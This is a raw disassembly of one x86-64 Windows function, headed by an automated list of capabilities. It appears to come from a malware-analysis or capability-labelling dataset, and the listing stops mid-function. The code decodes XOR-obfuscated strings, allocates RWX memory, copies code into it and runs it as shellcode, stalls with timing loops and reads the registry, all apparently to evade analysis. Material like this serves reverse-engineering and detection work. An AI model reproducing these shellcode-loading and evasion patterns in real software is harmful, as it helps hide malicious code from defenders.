Function at 0x1402021c0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Check os version
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xc9c0
call fcn.1402361c0
sub rsp, rax
movaps xmmword [rsp + 0xc9b0], xmm6
movaps xmmword [rsp + 0xc9a0], xmm7
movaps xmmword [rsp + 0xc990], xmm8
movaps xmmword [rsp + 0xc980], xmm9
movaps xmmword [rsp + 0xc970], xmm10
movaps xmmword [rsp + 0xc960], xmm11
movaps xmmword [rsp + 0xc950], xmm12
movaps xmmword [rsp + 0xc940], xmm13
mov rax, qword [0x140275028]
xor rax, rsp
mov qword [rsp + 0xc930], rax
xor esi, esi
mov dword [rsp + 0xb4], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0xd58], xmm0
lea rcx, [rsp + 0xc9d8]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0xd60], r12
mov qword [rsp + 0xd68], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0xd58], rax
mov qword [rcx], rsi
movsd xmm0, qword [0x1402623a8]
movsd qword [rsp + 0x80], xmm0
movzx eax, word [0x1402623b0]
mov word [rsp + 0x88], ax
cmp byte [0x1402623b1], sil
je 0x1402022ff
mov byte [rsp + 0x80], 0x54
xor byte [rsp + 0x81], 0x4a
xor byte [rsp + 0x82], 0x4c
xor byte [rsp + 0x83], 0x4e
xor byte [rsp + 0x84], 0x50
xor byte [rsp + 0x85], 0x52
xor byte [rsp + 0x86], 0x54
xor byte [rsp + 0x87], 0x56
xor byte [rsp + 0x88], 0x58
xor byte [rsp + 0x89], 0x5a
lea rdx, [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140212970
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x11c], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xd70], xmm0
lea rax, [rsp + 0xc9d8]
mov qword [rsp + 0xd78], r12
mov qword [rsp + 0xd80], rax
mov r14, qword [rax]
xor r14, r12
mov qword [rsp + 0xd70], r14
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x140281430]
lea r13, [0x140212d30]
lea r15, [0x140000000]
test rax, rax
je 0x14020239e
mov rdx, rsi
cmp rax, r13
je 0x1402023ca
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x281430]
test rax, rax
jne 0x140202388
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov edi, 3
test rax, rax
jne 0x1402023e1
mov r8, rsi
jmp 0x14020247e
mov r8, qword [r15 + rdx*8 + 0x283a30]
test r8, r8
je 0x14020239e
mov edi, 3
jmp 0x14020249f
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402023f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140281da0]
mov qword [r15 + rax*8 + 0x281430], r13
mov qword [r15 + rax*8 + 0x283a30], r8
inc rax
mov qword [0x140281da0], rax
lea rdx, [rsp + 0x11c]
mov rcx, rbx
call r8
nop
xor r14, r12
mov qword [rsp + 0xd70], r14
lea rax, [rsp + 0xc9d8]
mov qword [rax], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0xeb0], xmm0
lea r13, [rsp + 0xc9d8]
mov qword [rsp + 0xeb8], r12
mov qword [rsp + 0xec0], r13
mov r14, qword [r13]
xor r14, r12
mov qword [rsp + 0xeb0], r14
mov qword [r13], rsi
mov ecx, esi
mov rax, qword [0x140282a30]
lea rbx, [0x1402137d0]
test rax, rax
je 0x14020253b
mov rdx, rsi
cmp rax, rbx
je 0x14020252a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x282a30]
test rax, rax
jne 0x140202512
jmp 0x14020253b
mov r8, qword [r15 + rdx*8 + 0x2833c0]
test r8, r8
jne 0x14020261f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140202562
mov r8, rsi
jmp 0x1402025fe
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140202570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d60]
mov qword [r15 + rax*8 + 0x282a30], rbx
mov qword [r15 + rax*8 + 0x2833c0], r8
inc rax
mov qword [0x140283d60], rax
lea rcx, [0x1401d9410]
call r8
nop
xor r14, r12
mov qword [rsp + 0xeb0], r14
mov qword [r13], r14
test al, al
je 0x140202901
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x24b4], 0xffffffff
mov dword [rsp + 0x1134], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1134], eax
inc rdx
cmp rdx, 0x270
jb 0x140202670
mov dword [rsp + 0x1130], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402026bf
imul rax, rax, 0x64
jmp 0x1402026da
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r15, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r15
mov r14d, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020270e
imul rax, rax, 0x64
jmp 0x140202729
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x1402028f8
mov esi, 0x186a0
mov r15d, 1
nop dword [rax]
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020277b
nop dword [rax + rax]
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140202760
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1402027db
cmp eax, 0x64
jae 0x1402027db
nop
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402027c0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020283e
cmp eax, 0x64
jae 0x14020283e
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140202823
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x1402028ab
cmp eax, 0x64
jae 0x1402028ab
nop word [rax + rax]
lea rcx, [rsp + 0x1130]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140202890
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub rsi, r15
jne 0x140202740
mov r15, qword [rsp + 0x50]
jmp 0x1402026f0
mov eax, dword [rsp + 0x40]
jmp 0x14020b6e2
movzx eax, word [0x140262a38]
mov word [rsp + 0x98], ax
movzx eax, byte [0x140262a3a]
mov byte [rsp + 0x98], 0x62
xor byte [rsp + 0x99], 0x4a
xor al, 0x4c
mov byte [rsp + 0x9a], al
lea rdx, [rsp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140212970
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movzx eax, word [0x140261570]
mov word [rsp + 0x9c], ax
movzx eax, byte [0x140261572]
mov byte [rsp + 0x9c], 0x62
xor byte [rsp + 0x9d], 0x4a
xor al, 0x4c
mov byte [rsp + 0x9e], al
lea rdx, [rsp + 0x9c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140212970
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xc60]
call fcn.1401dfc70
mov rdx, rax
lea rcx, [0x140280470]
call fcn.14020f030
lea rcx, [rsp + 0xc60]
call fcn.140210af0
movzx eax, word [0x140262b04]
mov word [rsp + 0xa0], ax
movzx eax, byte [0x140262b06]
mov byte [rsp + 0xa0], 0x62
xor byte [rsp + 0xa1], 0x4a
xor al, 0x4c
mov byte [rsp + 0xa2], al
lea rdx, [rsp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140212970
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140280470]
lea rcx, [rsp + 0xa40]
call fcn.14020f1d0
mov rdx, rax
lea rcx, [rsp + 0xb80]
call fcn.1401d3390
mov rdx, rax
lea rcx, [rsp + 0xa80]
call fcn.1401d2a00
mov rdx, rax
lea rbx, [0x140280700]
mov rcx, rbx
call fcn.14020f030
lea rcx, [rsp + 0xa80]
call fcn.140210af0
cmp qword [0x140280718], 0x10
cmovae rbx, qword [0x140280700]
mov r8, qword [0x140280710]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140219120
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x140202ad0
movzx eax, word [0x140264330]
mov word [rsp + 0x70], ax
movsd xmm0, qword [str.____5t9__]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140264332]
movsd qword [rsp + 0x68], xmm0
mov byte [rsp + 0x68], 0x65
xor byte [rsp + 0x69], 0x4a
xor byte [rsp + 0x6a], 0x4c
xor byte [rsp + 0x6b], 0x4e
xor byte [rsp + 0x6c], 0x50
xor byte [rsp + 0x6d], 0x52
xor byte [rsp + 0x6e], 0x54
xor byte [rsp + 0x6f], 0x56
xor byte [rsp + 0x70], 0x58
xor byte [rsp + 0x71], 0x5a
xor al, 0x5c
mov byte [rsp + 0x72], al
lea rdx, [rsp + 0x68]
call fcn.140212970
lea rdx, [0x140212b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xd30], xmm0
movups xmmword [rsp + 0xd40], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xd30], rax
movdqu xmmword [rsp + 0xd38], xmm0
mov qword [rsp + 0xd48], rsi
xor eax, eax
movups xmmword [rsp + 0xfa0], xmm0
movups xmmword [rsp + 0xfb0], xmm0
movups xmmword [rsp + 0xfc0], xmm0
movups xmmword [rsp + 0xfd0], xmm0
movups xmmword [rsp + 0xfe0], xmm0
movups xmmword [rsp + 0xff0], xmm0
movups xmmword [rsp + 0x1000], xmm0
mov qword [rsp + 0x1010], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xfa0], rax
mov byte [rsp + 0xfec], 0
mov dword [rsp + 0xff0], 7
call fcn.1401bb420
mov rcx, rax
test rax, rax
je 0x14020b76b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xff8], rax
call fcn.1401bb420
mov rcx, rax
test rax, rax
je 0x14020b776
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1000], rax
call fcn.1401bb420
mov rcx, rax
test rax, rax
je 0x14020b781
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1008], rax
call fcn.1401bb420
mov rcx, rax
test rax, rax
je 0x14020b78c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1010], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xd10]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140202d86
lea rcx, [rsp + 0xd30]
mov rax, qword [rsp + 0xd30]
call qword [rax + 8]
mov rax, qword [rsp + 0xd10]
mov qword [rsp + 0xd38], rax
lea rdx, [rsp + 0xfa0]
lea rcx, [rsp + 0xd30]
call fcn.140212330
test al, al
je 0x140202d86
lea rcx, [rsp + 0xfa0]
call fcn.1401bb790
lea rcx, [rsp + 0xc88]
mov qword [rsp + 0xc80], rcx
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0xc80]
call fcn.14020fbf0
nop
mov rdx, qword [rsp + 0xc80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x5f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x608], xmm1
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140202d30
lea rcx, [rsp + 0x5f8]
call fcn.1401d4c30
lea rdx, [rsp + 0x5f8]
lea rcx, [0x1402807f0]
call fcn.14020f030
lea rcx, [rsp + 0x5f8]
call fcn.140210af0
nop
lea rax, [rsp + 0xc88]
mov rcx, qword [rsp + 0xc80]
cmp rcx, rax
je 0x140202d8d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140202d8d
mov r13, 0xffffffffffffffff
mov dword [rsp + 0xd50], 0x7e8
lea rcx, [rsp + 0xa60]
call fcn.1401c2ae0
mov r11, rax
movups xmm0, xmmword [0x140263d90]
movups xmmword [rsp + 0x1b0], xmm0
movzx ecx, word [0x140263da0]
mov word [rsp + 0x1c0], cx
cmp byte [0x140263da1], 0
je 0x14020306f
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x14020300f
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265220]
mov ebx, 5
movd xmm10, ebx
movdqa xmm7, xmmword [0x140265230]
mov ebx, 6
movd xmm11, ebx
movdqa xmm12, xmmword [0x140265170]
mov ebx, 0x1f
movd xmm8, ebx
movdqa xmm13, xmmword [0x140265240]
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140202e50
cmp r9d, 0x12
jge 0x14020306f
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140203020
mov r8, r11
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1110]
call fcn.140212d60
nop
lea rcx, [rsp + 0xa60]
call fcn.140210af0
mov eax, dword [str._P]
mov dword [rsp + 0x90], eax
movzx eax, byte [0x140262750]
mov byte [rsp + 0x90], 0x6e
xor byte [rsp + 0x91], 0x4a
xor byte [rsp + 0x92], 0x4c
xor byte [rsp + 0x93], 0x4e
xor al, 0x50
mov byte [rsp + 0x94], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x5d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5e8], xmm1
lea rax, [rsp + 0x90]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1402030f4
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x5d8]
call fcn.1401d4c30
nop
lea rdx, [rsp + 0x5d8]
lea rcx, [rsp + 0xa00]
call fcn.1401c1d90
mov rbx, rax
cmp qword [rax + 0x18], 8
jb 0x140203136
mov rbx, qword [rax]
lea rdx, [rsp + 0x1110]
lea rcx, [rsp + 0xa20]
call fcn.1401c1d90
cmp qword [rax + 0x18], 8
jb 0x140203155
mov rax, qword [rax]
lea rcx, [rsp + 0xd50]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0xc140]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
mov r9d, 2
mov r8, rbx
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ebx, eax
lea rcx, [rsp + 0xa20]
call fcn.140210860
nop
lea rcx, [rsp + 0xa00]
call fcn.140210860
nop
lea rcx, [rsp + 0x5d8]
call fcn.140210af0
test ebx, ebx
jne 0x1402031dc
lea rdx, str.Registry_Value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140212750
mov rcx, rax
lea rdx, [rsp + 0xc140]
jmp 0x1402031ea
lea rdx, str.Failed_to_read_registry_value
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140212750
lea rdx, [0x140212930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3844], 0xffffffff
mov dword [rsp + 0x24c4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24c4], eax
inc rdx
cmp rdx, 0x270
jb 0x140203220
mov dword [rsp + 0x24c0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020326f
imul rax, rax, 0x64
jmp 0x14020328a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r12
mov r14d, 0x80000000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1402032be
imul rax, rax, 0x64
jmp 0x1402032d9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x1402034aa
mov qword [rsp + 0x60], 0x186a0
mov r12d, 1
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020332b
nop dword [rax]
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203310
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020338b
cmp eax, 0x64
jae 0x14020338b
nop
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140203370
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x24c0]
call fcn.14021dbf0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x1402033ee
